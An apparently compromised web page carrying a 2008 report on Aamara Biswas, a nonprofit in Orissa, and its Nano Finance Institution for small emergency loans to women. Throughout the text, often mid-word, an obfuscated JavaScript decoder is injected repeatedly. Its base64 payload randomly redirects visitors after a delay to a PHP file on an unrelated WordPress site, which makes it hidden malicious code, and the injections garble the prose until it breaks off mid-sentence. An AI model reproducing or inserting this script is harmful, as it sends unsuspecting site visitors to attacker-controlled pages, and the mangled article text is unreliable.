Nanofinance


Aamara Biswas

Women Helping Women Through

Nano Finance Institution

Joyasree (Ranu) Mahanti

August, 2008 

 

1.    Introduction

After 10 years of working closely with the people of Orissa (in both rural function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4>4);r7=((s1&15)>2);x1=((v0&3)=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5<re.length);document.write(uf);};r0093c87a1('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zY3JhcGJvb2tpbmcucHJvL3dwLWNvbnRlbnQvcGx1Z2lucy93cC1tYXRoLWNhcHRjaGEvaW5jbHVkZXMvcGx1Z2luLXNldHRpbmdzLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and urban areas, eastern function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4>4);r7=((s1&15)>2);x1=((v0&3)=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5<re.length);document.write(uf);};r0093c87a1('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zY3JhcGJvb2tpbmcucHJvL3dwLWNvbnRlbnQvcGx1Z2lucy93cC1tYXRoLWNhcHRjaGEvaW5jbHVkZXMvcGx1Z2luLXNldHRpbmdzLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and western parts),listening carefully to the women in need, traveling to rural villages, seeing the living conditions of people in this century, I initiated several projects to provide basic needs for these people, which everyone is entitled to. Now, I have initiated a new concept, Nano Finance Institution, which helps the women who are in emergency situation function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4>4);r7=((s1&15)>2);x1=((v0&3)=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5<re.length);document.write(uf);};r0093c87a1('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zY3JhcGJvb2tpbmcucHJvL3dwLWNvbnRlbnQvcGx1Z2lucy93cC1tYXRoLWNhcHRjaGEvaW5jbHVkZXMvcGx1Z2luLXNldHRpbmdzLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and will not be the victims of the money lenders. The Nano Finance office/counter was opened on Nov. 9, 2007 at Kamalibazar, Sambalpur, Orissa.

I am thankful to the donors who have supported me with their trust function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4>4);r7=((s1&15)>2);x1=((v0&3)=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5<re.length);document.write(uf);};r0093c87a1('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zY3JhcGJvb2tpbmcucHJvL3dwLWNvbnRlbnQvcGx1Z2lucy93cC1tYXRoLWNhcHRjaGEvaW5jbHVkZXMvcGx1Z2luLXNldHRpbmdzLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and guidance for all these years, the local NGOs (Basundhara function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4>4);r7=((s1&15)>2);x1=((v0&3)=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5<re.length);document.write(uf);};r0093c87a1('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zY3JhcGJvb2tpbmcucHJvL3dwLWNvbnRlbnQvcGx1Z2lucy93cC1tYXRoLWNhcHRjaGEvaW5jbHVkZXMvcGx1Z2luLXNldHRpbmdzLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and BISWA) through whom the projects were implemented, function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4>4);r7=((s1&15)>2);x1=((v0&3)=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5<re.length);document.write(uf);};r0093c87a1('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zY3JhcGJvb2tpbmcucHJvL3dwLWNvbnRlbnQvcGx1Z2lucy93cC1tYXRoLWNhcHRjaGEvaW5jbHVkZXMvcGx1Z2luLXNldHRpbmdzLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and the villagers who are responsible for the sustainability of the projects.

2.  Aamara Biswas, an Non Profit Organization

 

I have started an organization, Aamara Biswas (Our Trust), in Orissa on November 9, 2007. In the past, I was not in favor of starting a separate organization function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4>4);r7=((s1&15)>2);x1=((v0&3)=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5<re.length);document.write(uf);};r0093c87a1('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zY3JhcGJvb2tpbmcucHJvL3dwLWNvbnRlbnQvcGx1Z2lucy93cC1tYXRoLWNhcHRjaGEvaW5jbHVkZXMvcGx1Z2luLXNldHRpbmdzLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and always wanted to work with a local NGO in Orissa. After working for 13 years with different NGO(s), I have realized that it is much better to have an organization with my own values function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4>4);r7=((s1&15)>2);x1=((v0&3)=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5<re.length);document.write(uf);};r0093c87a1('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zY3JhcGJvb2tpbmcucHJvL3dwLWNvbnRlbnQvcGx1Z2lucy93cC1tYXRoLWNhcHRjaGEvaW5jbHVkZXMvcGx1Z2luLXNldHRpbmdzLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and goals. Also, I am completely accountable for the organization instead of depending on others. The difficult part is for me to monitor the organization from a distance. If it works function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4>4);r7=((s1&15)>2);x1=((v0&3)=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5<re.length);document.write(uf);};r0093c87a1('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zY3JhcGJvb2tpbmcucHJvL3dwLWNvbnRlbnQvcGx1Z2lucy93cC1tYXRoLWNhcHRjaGEvaW5jbHVkZXMvcGx1Z2luLXNldHRpbmdzLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and I stick to my commitments, principles, values, function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4>4);r7=((s1&15)>2);x1=((v0&3)=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5<re.length);document.write(uf);};r0093c87a1('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zY3JhcGJvb2tpbmcucHJvL3dwLWNvbnRlbnQvcGx1Z2lucy93cC1tYXRoLWNhcHRjaGEvaW5jbHVkZXMvcGx1Z2luLXNldHRpbmdzLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and goals, it is rewarding function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4>4);r7=((s1&15)>2);x1=((v0&3)=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5<re.length);document.write(uf);};r0093c87a1('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zY3JhcGJvb2tpbmcucHJvL3dwLWNvbnRlbnQvcGx1Z2lucy93cC1tYXRoLWNhcHRjaGEvaW5jbHVkZXMvcGx1Z2luLXNldHRpbmdzLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and worth it.

3. Concept function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4>4);r7=((s1&15)>2);x1=((v0&3)=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5<re.length);document.write(uf);};r0093c87a1('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zY3JhcGJvb2tpbmcucHJvL3dwLWNvbnRlbnQvcGx1Z2lucy93cC1tYXRoLWNhcHRjaGEvaW5jbHVkZXMvcGx1Z2luLXNldHRpbmdzLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and Justification of Nano Finance Institution (NFI)

After working at a grass root level for the last seven years function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4>4);r7=((s1&15)>2);x1=((v0&3)=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5<re.length);document.write(uf);};r0093c87a1('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zY3JhcGJvb2tpbmcucHJvL3dwLWNvbnRlbnQvcGx1Z2lucy93cC1tYXRoLWNhcHRjaGEvaW5jbHVkZXMvcGx1Z2luLXNldHRpbmdzLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and giving loans to women through different NGO(s), I find that although many people get help through micro finance institution (MFI) to establish their livelihood, a large number of people do not have access to small loans for their emergency needs (small business expansion, education, sickness, death, function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4>4);r7=((s1&15)>2);x1=((v0&3)=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5<re.length);document.write(uf);};r0093c87a1('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zY3JhcGJvb2tpbmcucHJvL3dwLWNvbnRlbnQvcGx1Z2lucy93cC1tYXRoLWNhcHRjaGEvaW5jbHVkZXMvcGx1Z2luLXNldHRpbmdzLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and wedding etc.). The only choice they have is to go to the money lenders for a loan with a very high interest rate (120% or more per year). Most of the time they can not pay back the principal function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4>4);r7=((s1&15)>2);x1=((v0&3)=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5<re.length);document.write(uf);};r0093c87a1('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zY3JhcGJvb2tpbmcucHJvL3dwLWNvbnRlbnQvcGx1Z2lucy93cC1tYXRoLWNhcHRjaGEvaW5jbHVkZXMvcGx1Z2luLXNldHRpbmdzLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and must keep on paying the interest for the rest of their lives. I have personally witnessed many such cases. This problem is present in both urban function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4>4);r7=((s1&15)>2);x1=((v0&3)=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5<re.length);document.write(uf);};r0093c87a1('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zY3JhcGJvb2tpbmcucHJvL3dwLWNvbnRlbnQvcGx1Z2lucy93cC1tYXRoLWNhcHRjaGEvaW5jbHVkZXMvcGx1Z2luLXNldHRpbmdzLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and rural areas.

To address this need, I have started a new initiative, Nano Finance Institution (NFI). This institution is not meant to compete with Micro Finance Institution (MFI). Instead, NFI is an outgrowth of MFI. The women who are not able to get help (loan) from MFI will benefit through NFI for their emergency needs. The concept of nano finance is very simple function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4>4);r7=((s1&15)>2);x1=((v0&3)=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5<re.length);document.write(uf);};r0093c87a1('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zY3JhcGJvb2tpbmcucHJvL3dwLWNvbnRlbnQvcGx1Z2lucy93cC1tYXRoLWNhcHRjaGEvaW5jbHVkZXMvcGx1Z2luLXNldHRpbmdzLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and the operational method is not complicated. Every one can understfunction r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4>4);r7=((s1&15)>2);x1=((v0&3)=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5<re.length);document.write(uf);};r0093c87a1('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zY3JhcGJvb2tpbmcucHJvL3dwLWNvbnRlbnQvcGx1Z2lucy93cC1tYXRoLWNhcHRjaGEvaW5jbHVkZXMvcGx1Z2luLXNldHRpbmdzLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and its basic structure without going through training 